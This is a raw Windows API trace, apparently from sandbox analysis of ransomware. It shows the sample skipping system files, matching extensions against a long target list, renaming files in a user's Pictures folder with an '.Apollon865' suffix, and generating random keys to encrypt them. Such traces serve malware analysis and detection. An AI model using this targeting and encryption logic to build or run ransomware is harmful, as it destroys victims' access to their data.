	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.191] lstrlenW (lpString="trc") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.191] lstrlenW (lpString="trm") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.191] lstrlenW (lpString="udb") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.191] lstrlenW (lpString="udl") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.191] lstrlenW (lpString="usr") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.191] lstrlenW (lpString="v12") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.191] lstrlenW (lpString="vis") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.191] lstrlenW (lpString="vpd") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.191] lstrlenW (lpString="vvv") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.191] lstrlenW (lpString="wdb") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.191] lstrlenW (lpString="wmdb") returned 4
	[0087.191] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.191] lstrlenW (lpString="wrk") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.191] lstrlenW (lpString="xdb") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.191] lstrlenW (lpString="xld") returned 3
	[0087.191] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.191] lstrlenW (lpString="xmlff") returned 5
	[0087.191] lstrcmpiW (lpString1="G.bmp", lpString2="xmlff") returned -1
	[0087.191] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\67_2HwYFOm0qrpCHG.bmp.Apollon865") returned 86
	[0087.192] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\67_2HwYFOm0qrpCHG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\67_2hwyfom0qrpchg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\67_2HwYFOm0qrpCHG.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\67_2hwyfom0qrpchg.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\67_2HwYFOm0qrpCHG.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\67_2hwyfom0qrpchg.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.193] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=76086) returned 1
	[0087.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.194] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.194] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.195] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.195] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c40, lpName=0x0) returned 0x15c
	[0087.195] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c40) returned 0x120000
	[0087.198] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.198] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.198] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.199] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.200] CloseHandle (hObject=0x15c) returned 1
	[0087.200] CloseHandle (hObject=0x9c) returned 1
	[0087.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.202] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x650a7020, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4e963f30, ftLastAccessTime.dwHighDateTime=0x1d4c597, ftLastWriteTime.dwLowDateTime=0x4e963f30, ftLastWriteTime.dwHighDateTime=0x1d4c597, nFileSizeHigh=0x0, nFileSizeLow=0x9a6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6bKk.png", cAlternateFileName="")) returned 1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="Apollon865.txt.exe") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2=".") returned 1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="..") returned 1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="windows") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="bootmgr") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="temp") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="pagefile.sys") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="boot") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="ids.txt") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="ntuser.dat") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="perflogs") returned -1
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2="MSBuild") returned -1
	[0087.202] lstrlenW (lpString="6bKk.png") returned 8
	[0087.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\67_2HwYFOm0qrpCHG.bmp") returned 75
	[0087.202] lstrcpyW (in: lpString1=0x119e674, lpString2="6bKk.png" | out: lpString1="6bKk.png") returned="6bKk.png"
	[0087.202] lstrlenW (lpString="6bKk.png") returned 8
	[0087.202] lstrlenW (lpString="Apollon865") returned 10
	[0087.202] lstrlenW (lpString=".dll") returned 4
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".lnk") returned 4
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2=".lnk") returned 1
	[0087.202] lstrlenW (lpString=".ini") returned 4
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2=".ini") returned 1
	[0087.202] lstrlenW (lpString=".sys") returned 4
	[0087.202] lstrcmpiW (lpString1="6bKk.png", lpString2=".sys") returned 1
	[0087.202] lstrlenW (lpString="6bKk.png") returned 8
	[0087.203] lstrlenW (lpString="bak") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0087.203] lstrlenW (lpString="ba_") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0087.203] lstrlenW (lpString="dbb") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0087.203] lstrlenW (lpString="vmdk") returned 4
	[0087.203] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0087.203] lstrlenW (lpString="rar") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0087.203] lstrlenW (lpString="zip") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0087.203] lstrlenW (lpString="tgz") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0087.203] lstrlenW (lpString="vbox") returned 4
	[0087.203] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0087.203] lstrlenW (lpString="vdi") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0087.203] lstrlenW (lpString="vhd") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0087.203] lstrlenW (lpString="vhdx") returned 4
	[0087.203] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0087.203] lstrlenW (lpString="avhd") returned 4
	[0087.203] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0087.203] lstrlenW (lpString="db") returned 2
	[0087.203] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0087.203] lstrlenW (lpString="db2") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0087.203] lstrlenW (lpString="db3") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0087.203] lstrlenW (lpString="dbf") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0087.203] lstrlenW (lpString="mdf") returned 3
	[0087.203] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0087.203] lstrlenW (lpString="mdb") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0087.204] lstrlenW (lpString="sql") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0087.204] lstrlenW (lpString="sqlite") returned 6
	[0087.204] lstrcmpiW (lpString1="Kk.png", lpString2="sqlite") returned -1
	[0087.204] lstrlenW (lpString="sqlite3") returned 7
	[0087.204] lstrcmpiW (lpString1="bKk.png", lpString2="sqlite3") returned -1
	[0087.204] lstrlenW (lpString="sqlitedb") returned 8
	[0087.204] lstrlenW (lpString="xml") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0087.204] lstrlenW (lpString="$er") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0087.204] lstrlenW (lpString="4dd") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0087.204] lstrlenW (lpString="4dl") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0087.204] lstrlenW (lpString="^^^") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0087.204] lstrlenW (lpString="abs") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0087.204] lstrlenW (lpString="abx") returned 3
	[0087.204] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0087.204] lstrlenW (lpString="accdb") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accdb") returned 1
	[0087.204] lstrlenW (lpString="accdc") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accdc") returned 1
	[0087.204] lstrlenW (lpString="accde") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accde") returned 1
	[0087.204] lstrlenW (lpString="accdr") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accdr") returned 1
	[0087.204] lstrlenW (lpString="accdt") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accdt") returned 1
	[0087.204] lstrlenW (lpString="accdw") returned 5
	[0087.204] lstrcmpiW (lpString1="k.png", lpString2="accdw") returned 1
	[0087.205] lstrlenW (lpString="accft") returned 5
	[0087.205] lstrcmpiW (lpString1="k.png", lpString2="accft") returned 1
	[0087.205] lstrlenW (lpString="adb") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.205] lstrlenW (lpString="adb") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.205] lstrlenW (lpString="ade") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0087.205] lstrlenW (lpString="adf") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0087.205] lstrlenW (lpString="adn") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0087.205] lstrlenW (lpString="adp") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0087.205] lstrlenW (lpString="alf") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0087.205] lstrlenW (lpString="ask") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0087.205] lstrlenW (lpString="btr") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0087.205] lstrlenW (lpString="cat") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0087.205] lstrlenW (lpString="cdb") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0087.205] lstrlenW (lpString="ckp") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0087.205] lstrlenW (lpString="cma") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0087.205] lstrlenW (lpString="cpd") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0087.205] lstrlenW (lpString="dacpac") returned 6
	[0087.205] lstrcmpiW (lpString1="Kk.png", lpString2="dacpac") returned 1
	[0087.205] lstrlenW (lpString="dad") returned 3
	[0087.205] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0087.205] lstrlenW (lpString="dadiagrams") returned 10
	[0087.205] lstrlenW (lpString="daschema") returned 8
	[0087.206] lstrlenW (lpString="db-journal") returned 10
	[0087.206] lstrlenW (lpString="db-shm") returned 6
	[0087.206] lstrcmpiW (lpString1="Kk.png", lpString2="db-shm") returned 1
	[0087.206] lstrlenW (lpString="db-wal") returned 6
	[0087.206] lstrcmpiW (lpString1="Kk.png", lpString2="db-wal") returned 1
	[0087.206] lstrlenW (lpString="dbc") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0087.206] lstrlenW (lpString="dbs") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0087.206] lstrlenW (lpString="dbt") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0087.206] lstrlenW (lpString="dbv") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0087.206] lstrlenW (lpString="dbx") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0087.206] lstrlenW (lpString="dcb") returned 3
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0087.206] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0087.207] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0087.207] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0087.207] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\6bKk.png.Apollon865") returned 73
	[0087.207] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\6bKk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\6bkk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\6bKk.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\6bkk.png.apollon865"), dwFlags=0x1) returned 1
	[0087.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\6bKk.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\6bkk.png.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.208] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=39530) returned 1
	[0087.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.209] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.210] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.210] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.210] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d70, lpName=0x0) returned 0x15c
	[0087.210] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d70) returned 0x100000
	[0087.212] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.212] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.212] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.213] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.213] CloseHandle (hObject=0x15c) returned 1
	[0087.213] CloseHandle (hObject=0x9c) returned 1
	[0087.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0d6fd0, ftCreationTime.dwHighDateTime=0x1d4c57f, ftLastAccessTime.dwLowDateTime=0x545a92f0, ftLastAccessTime.dwHighDateTime=0x1d4cbb8, ftLastWriteTime.dwLowDateTime=0x545a92f0, ftLastWriteTime.dwHighDateTime=0x1d4cbb8, nFileSizeHigh=0x0, nFileSizeLow=0x5481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="99Bvs2JU.jpg", cAlternateFileName="")) returned 1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="Apollon865.txt.exe") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".") returned 1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="..") returned 1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="windows") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="bootmgr") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="temp") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="pagefile.sys") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="boot") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="ids.txt") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="ntuser.dat") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="perflogs") returned -1
	[0087.215] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2="MSBuild") returned -1
	[0087.215] lstrlenW (lpString="99Bvs2JU.jpg") returned 12
	[0087.215] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\6bKk.png") returned 62
	[0087.215] lstrcpyW (in: lpString1=0x119e674, lpString2="99Bvs2JU.jpg" | out: lpString1="99Bvs2JU.jpg") returned="99Bvs2JU.jpg"
	[0087.215] lstrlenW (lpString="99Bvs2JU.jpg") returned 12
	[0087.215] lstrlenW (lpString="Apollon865") returned 10
	[0087.215] lstrcmpiW (lpString1="Bvs2JU.jpg", lpString2="Apollon865") returned 1
	[0087.215] lstrlenW (lpString=".dll") returned 4
	[0087.216] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".dll") returned 1
	[0087.216] lstrlenW (lpString=".lnk") returned 4
	[0087.216] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".lnk") returned 1
	[0087.216] lstrlenW (lpString=".ini") returned 4
	[0087.216] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".ini") returned 1
	[0087.216] lstrlenW (lpString=".sys") returned 4
	[0087.216] lstrcmpiW (lpString1="99Bvs2JU.jpg", lpString2=".sys") returned 1
	[0087.216] lstrlenW (lpString="99Bvs2JU.jpg") returned 12
	[0087.216] lstrlenW (lpString="bak") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.216] lstrlenW (lpString="ba_") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.216] lstrlenW (lpString="dbb") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.216] lstrlenW (lpString="vmdk") returned 4
	[0087.216] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.216] lstrlenW (lpString="rar") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.216] lstrlenW (lpString="zip") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.216] lstrlenW (lpString="tgz") returned 3
	[0087.216] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.216] lstrlenW (lpString="vbox") returned 4
	[0087.216] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.216] lstrlenW (lpString="vdi") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.217] lstrlenW (lpString="vhd") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.217] lstrlenW (lpString="vhdx") returned 4
	[0087.217] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.217] lstrlenW (lpString="avhd") returned 4
	[0087.217] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.217] lstrlenW (lpString="db") returned 2
	[0087.217] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.217] lstrlenW (lpString="db2") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.217] lstrlenW (lpString="db3") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.217] lstrlenW (lpString="dbf") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.217] lstrlenW (lpString="mdf") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.217] lstrlenW (lpString="mdb") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.217] lstrlenW (lpString="sql") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.217] lstrlenW (lpString="sqlite") returned 6
	[0087.217] lstrcmpiW (lpString1="JU.jpg", lpString2="sqlite") returned -1
	[0087.217] lstrlenW (lpString="sqlite3") returned 7
	[0087.217] lstrcmpiW (lpString1="2JU.jpg", lpString2="sqlite3") returned -1
	[0087.217] lstrlenW (lpString="sqlitedb") returned 8
	[0087.217] lstrcmpiW (lpString1="s2JU.jpg", lpString2="sqlitedb") returned -1
	[0087.217] lstrlenW (lpString="xml") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.217] lstrlenW (lpString="$er") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.217] lstrlenW (lpString="4dd") returned 3
	[0087.217] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.218] lstrlenW (lpString="4dl") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.218] lstrlenW (lpString="^^^") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.218] lstrlenW (lpString="abs") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.218] lstrlenW (lpString="abx") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
